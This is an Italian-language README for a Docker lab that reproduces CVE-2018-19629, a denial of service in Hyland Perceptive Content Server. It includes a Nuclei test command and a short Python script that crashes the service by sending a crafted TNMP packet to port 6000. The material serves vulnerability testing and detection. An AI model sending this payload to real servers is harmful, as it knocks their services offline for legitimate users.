Ambiente di test per CVE-2018-19629

Ambiente di test Docker per CVE-2018-19629 - Hyland Perceptive Content Server Denial of Service.

Dettagli della vulnerabilità

Descrizione

Hyland Perceptive Content Server prima della versione 7.1.5 contiene una vulnerabilità di denial of service causata dal crash del servizio ImageNow Server tramite una connessione TCP. Gli aggressori possono interrompere il servizio inviando pacchetti TCP appositamente predisposti contenenti la sequenza di intestazione TNMP.

Avvio rapido

# Start the vulnerable environment
docker-compose up -d

# Verify it's listening
# (You might need netcat or similar)
nc -zv localhost 6000

Test con Nuclei

# Test with nuclei template
nuclei -t ../network/cves/2018/CVE-2018-19629.yaml -u localhost:6000

Verifica manuale

Puoi attivare manualmente il crash usando Python:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 6000))
# The crafted packet
payload = b'\x54\x4e\x4d\x50\x04\x00\x00\x00\x54\x4e\x4d\x45\x00\x00\x04\x00'
s.send(payload)
s.close()

Controlla i log per vedere il crash:

docker logs -f imagenow-vuln

Dovresti vedere: [!] CRITICAL: Recevied malicious 'TNMP' packet... seguito dal riavvio del container.

Dettagli dell'ambiente

• Porta: 6000 (TCP)
• Protocollo: TCP personalizzato (ImageNow)

Pulizia

docker-compose down